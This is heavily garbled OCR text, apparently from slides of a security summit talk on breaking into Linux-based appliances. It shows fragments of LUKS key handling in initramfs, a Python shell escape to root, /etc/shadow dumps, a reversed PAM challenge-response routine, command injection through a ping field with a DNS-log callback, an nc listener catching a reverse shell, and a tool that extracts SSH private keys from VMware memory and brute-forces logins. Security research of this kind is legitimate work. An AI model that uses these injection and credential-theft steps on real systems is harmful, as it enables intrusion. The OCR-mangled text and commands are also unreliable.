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initramfs
rootfs

USB Dongle

Gentoo, Arch Linux
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[root@ ~J# fdisk -1

Disk /dev/vda: 42.9 GB, 42949672960 bytes, 83886080 sectors
Units = sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/0 size (minimum/optimal): 512 bytes / 512 bytes

Disk label type: dos

Disk identifier: @0x000@aaa23

Device Boot Start End Blocks Id System
“/dev/vdal * 2048 83875364 41936658+ 83 Linux

S ., Disk /dev/vdb: 42.9 GB, 42949672960 bytes, 83886080 sectors
A7 Anits = sectors of 1 * 512 = 512 bytes
TA A Sector size (logical/physical): 512 bytes / 512 bytes

'_I/O size (minimum/optimal): 512 bytes / 512 bytes
*.Disk label type: dos
isk identifier: 0x0003a7b4
Device Boot Start End Blocks Id System
2048 83884031 41940992 83 Linux

~]# mount /dev/vdbl

~]# cd

# ls




+ + + ¥ EHEFESHE-HENE ] MEzetifiis

root@ubuntu: /home/ubuntu emQ

File Edit View Search Terminal Help

Disk /dev/sda: 119.2 GiB, 128035676160 bytes, 250069680 sectors
Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I1/0 size (minimum/optimal): 512 bytes / 512 bytes

Disklabel type: dos

Disk identifier: 0x00000000

Device Boot Start End Sectors Size Id Type

{5}

/
/
/
/
1
1
/
/
/ Networks

Disk /dev/sdb: 14.9 GiB, 16013942784 bytes, 31277232 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I1/0 size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Connect to Server
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HD3=""'
HD3="/bin/fdisk -1 | grep ~/dev/[hs]d. [@0-9]*.*Linux | sort | awk 'NR==3{print $1}'"

initramfs i

echo "NO HD3 Found!"
/bin/sericat "Cannot find third partition"

\ I{q:?éfé /bin/cryptsetup —-d /.key luksOpen $HD3 crypted_persistence =>/dev/null 2-41
I=EIIEEN RE —_— |

{ I 4

echo "$(blkid -o device -t TYPE="crypt_LUKS" "${disk}")"
U S B D I [ -n "$(blkid —o device -+ TVPE='crypt LUKS" "${disk}")" ]
Ong e cryptsetup -a "/etc/key" luksOpen "${disk}" "${dev}" - /dev/null
echo "cryptsetup open icev} failed..."

sleep 5
exit 1

usbki_ey_c_:rypt dec /etc/. _ usb /etc/ .usb.dec > /dev/null 2-41
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BUHATNMUNERTIRRS: + NERE

[root@ _# netstat -anltp ) ‘ ' ' ‘ e o
Active Internet connections (servers and established) SRR I
Q Y I L 'EIE Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name |\ \ { 4‘
E& tep ) @ 127.0.0.1:8870 2.0.0.0:* LISTEN 5766 TR
—)~ [ ] tep [} 0 0.0.0.0 0.0.0.0:* LISTEN 809, AR o
tep [ 00.0.0.0:1000 0.0.0.0:* LISTEN 769 ’
tep [ 0 0.0.0.0:4009 0.0.0.0:* LISTEN 150¢
tep [ 0 127.0.0.1:51981 0.0.0.0:* LISTEN 150
E/_/_ \ tep [ 0 0.0.0.0:909 0.0.0.0:* - dveTra . eenAISSNSS - ) .
% IE tep 0 0 0.0.0.0:4430 0.0.0.0:* Active Internet connections (servers and established)
:‘F’ g gggg-g:g:“s g' 2.9 Proto Recv-Q Send-Q Local Address Foreign Address
~ A cospip ol e kP ) @ 127.0.0.1:60080 0.0.0.0:*
wtep (%] 9 127.0.0.1:3350 0.0.0.0:*
“tep (4] 0 0.0.0.0:22 0.0.0.0:*
‘tep (4] 0 0.0.0.0:443 0.0.0.0:*
tcp (%] 9 127.0.0.1:50089 0.0.0.0:*
o R tep 0 0 149136 -443
SSESSSENS asystep 0 0 149138 1443
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/opt (ssh)

TS oo B
FREFEN §
TSRS
R RTE e

os.execl('/bin/bash')

[root€ I# id
uid=0(root) gid=0(root) groups=0(root)
[root@ 1# 1

¥
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wangxiaozhe@ghik ~ % ssh -1i @1 0 -p 18

# cat /etc/
root:$6%

— 2y N ] - e .
E ZETJZ-I ﬁg-l’A-l'-l—-E halt:*:9797:0::::: ‘#%rOOt%%HE;Fﬁ%I\T-LHEﬁ
operator:*:9797:0:

%l\T'EE HH ized_keys

shutdown:*:9797:0: |
Ancmon-k-0707-0- - - R RN IO R

lz \%EiAiIE sync:*:9797:0:::::
[ bin:*:9797:0:::::

mysqL: ! : Locoiieas hostkeyfix. qzp

apache:!:152
ntp:! MRYRVH EAMA: 3.3.x. 3.2.x , FANT K

1% $6$5 ——————— root root
S : \ .ssh # [}
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wangxiaozhe@ghjk ~ % ssh
E '_‘“L'_ew_{ﬁ% > \IE Password:
ZE L] H— -l/ 1 Last login: Wed Nov 6 16:26:15 CST 2019 from
Last login: Thu Nov 7 02:05:32 2019 from
Could not chdir to home directory /home,

¥ hS > -bash: /var/log/"
ZEATAUE Y

Pasgwcrd:

] MERStmAS

Cyber Security Innovation Summit

ssh shell@6l -p

~| WARNING: You are using default password, please modify it soon!

l.f.lo[alhnst>

No such file or directory< (|
Permission denied

1 Hello, this is Shell.

enable Turn on privileged mode command
exit Logout

help Description of the interactive help system
list Print command list

quit Logout

show Show running system information

clear
configure
debug
disable
exit
help
list

no

quit
set
show
undebug
write

localhost# [

"t localhost> en
' localhost#

Reset functions

Configuration from vty interface

Debugging functions (see also 'undebug')
Turn off privileged mode command

Logout

Description of the interactive help system
Print command list

Negate a command or set its defaults
Logout

set

Show running system information

Disable debugging functions (see also 'debug")
Write running configuration to memory
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Cl P@zetimAs

login a=s: root
Uzing keyboard-interactive authentication.

Verification code:
Uzing keyboard-interactive authentication.

Password:

TSP

Type "help" to learn how to use prompt.

[ 1$ login

==>0K! Let us play a game, I say challenge you say response.
Challenge: 54523732

Response:_l__w

: ,ﬂwdngk{abzhe@ghjk ~ % ssh @6 4 -p
AESS IS 2
E:quswqquui_
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PAM
OTP

Challenge-Response

{

int64 _ fastcal

pam_sm_authenticate

int vh; /7

char ==yG5; 7/

int v6; /7

const char ==u7; 7

int v8; /7

char =s52; ff
size_t vi18; //
int vi1; /7

int pam return;

__int6y at,

" intos

Ci

176
177
178
179
188)
181
182
183
184]
185
) 186

. BEH

188
189
198
191
192
193
194|LABEL_48:
195
196
197
198
199
200
281
282
2083

PIEE 2 RIFAS
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. BLL);

=7
pam_set_item(

else

if ( txx )

goto LABEL_48;
do

®u21t+

while ( =

204 return {unsigned int)

2053
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db
align 4
aFindNoFileHame db 'Find no file named =*. *,8Dh,8Ah,0

E4ERINE —

SIFRONEE
RSA sign verify

root@

I3 wangxiaozhe@ghijk ~ % mdSsum 2019061: »
EE! 3b65eaffa3986be38a28dc7170fb15a4 20190613.
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EAEEINE
XIFRONE
RSA sign verify
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URFHIES S

mkdir -p /mnt/
echo "find !

46 mount /dev/ __ /mnt/
3:' 2&——5 a7 if [ -d /mnt/ _check ]; then
-4 —— ~ |

cd /mnt, check
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Genmask
0.0.0.0
255. 255.255. 0
255. 255.255. 0
255.255.255.262 U

e

BEHEFRESB-AR

Destination Gateway

e P~

255.255.0.0
255 266 240. 0

1]
1]
1]
255.265.2565.265 UGH 0
1
1]
1]

Flags Metric Ref

G 1]
o
o

u
i)

266, 266. 266. 266 TH

Cl muzzeeimis

Cyber Security Innovation Summit

Destination Gateway Genmask Flags Metric Ref =«
0.0.0.0 uG 0 0
255. 255.255.0 o
255, 265,265, 0 o
255.266.262 U
2b5. 2b5. 255. 255 UGH
255.0.0 u
255.255.240.0 o
2b5. 2b5. 255. 2556 TH
I
ping 5 RIF TR, .. - $ (|d)
AT & % A

ping: unknown host uid=0{root) gid=0{root) groups=0{root)
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32 00 2d 00 32 @d Of 95 ee 94 81 00 93 f1l
49 ca f9 1c 3e b9 a2 25 38 83 22 c9 db e2 31 89

+ 00000020 72 e2 10 7d c2 a0 7d €9 85 42 fd 0b do 2e 31 34 r..
Uﬂ-fl: ,ﬂ__EI{tIZ 00000030 88 b5 72 6b 43 eb
maT~J

00000000 db f3 42 00 39 00 75 f8 d7 c5 61 59 fc @e 82 3c gyl (L

00000010
—_ 00000020 [r'oot@].oca]l.host ~]# nc -lvv 1231

HxTE 00000030 ot L e o Mg /- 0rS ) angricozhetghic U python 1y
——~ LR RN Nt - Listening on .0.0.0:1231 UERUIE0-BORENbOR10rO} J650

S S5 — : : 6.1406rkC686"YGBPKDE: t2
20000036 db f3 22 00 1f 00 75 alleHNec st gt . R N
00000046 7c 6a de 76 ff d3 48 30 TREITTEprm 238587 65JE636666GMLsHHSMECH00 @i)GﬁQi)%@]ls@aa&BHmﬂ
bash: job trol in thi hell . . &

0%@8838@@2; fgb9?3@;¢a7gefi7 ” l[gzqt@m Job control in this she _ wangxiaozhe@ghjk %1

0@@00@56 C - - r - Al £ £ - - 1 hn PN -3 T - n"o - n -

00000064

00000074

00000084
00000094
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EHMtER
mLEX

564dcfb3-de 1-5231b14f0897.vmem.lck

vmx.lck
diskl.vmdk.Ick
vmem
vmsd
vmx
vmxf
-diskl.vmdk

nvram

vmware.log

vmware-0.log
vmware

vimwa

PIEE 2 RIFAS
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EHMtER
mIEX

~ ghjk:~ wangxiaozhe$ python

| . ' v . . ' . ' |usage: pk.py [-h] [--vmem VMEM_ bATH] [--target TARGET_IP] [--port PORT]

[--username USERNAME]
Startup SAddceds—4843-2

= — Find Vmem Private Key & SSH Brute
¥ FEdit 4s: Hex ¥ PRun Script

0 1 2 3 optional arguments:

2F2 :BFBOh : 01 00 00 00 -h, --help show this help message and exit
: : --vmem VMEM_PATH

2F2:BECOh: EE 7F FF TF  _torget TARGET_IP
2F2:BEDOh: 03 00 00 00 --vort PORT

--username USERNAME

2F2:BFECOh: 02 00 00 00 ghjk:~ wangxiaozhe$ python --vmem /Users/wangxiaozhe,
2F2-BFFOh: 01 00 00 00 rewm/ -25e9127c.vmem --target --port --u
ame root

2F2:C000h: 2D 2D 2D 2D Found 17 Private Keys.

ZFZ2:C0O010h: 52 489 5& 41 ----Found Valid Private Key 1512730059-2.pem ----

2F2:C020h: 4D 49 40 45 ;:\?E?Erzzzzxigzgggoat) groups=0(root),6(disk),11(floppy),26(tape),27(video)
2F2:C030h: 6D 37 77 7n

2F2:C040h: 59 4B 62 43

2F2:C050h: 73 46 77 37

2F2:C060h: 0OR 32 76 70

Cl RazEstimis
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mW el s

?BQABCDEF

vmwd === =BT

sern

BARKCRQER
sutegZvds
eNXrR7THVT
Mwgbym32E
02cOZ2Jahl
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EHMtER
mLEX

Output

Value

ping-c3
ping -c 3
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T

mLEN

ping -c 3 $ 4 Options

ace Text /bin/bash; ¥ £ Replace All
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This may take a few minutes, please waiting...sh-4.1%# _

EHMtER
mLEX
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ZIHIHEE
mEN

root.test.dnslog.date.

root.test.dnslog.date.

BWANBB
IANED

Cl muzzeeimis

Cyber Security Innovation Summit

7=Ha

2k 3k ok ok sk sk ok e sk ok sk sk sk ok ok sk ok sk sk ok ok ok sk ok ok ok ok oF ok ok ok oF sk ok ok ok sk ok R ok

****************************************I
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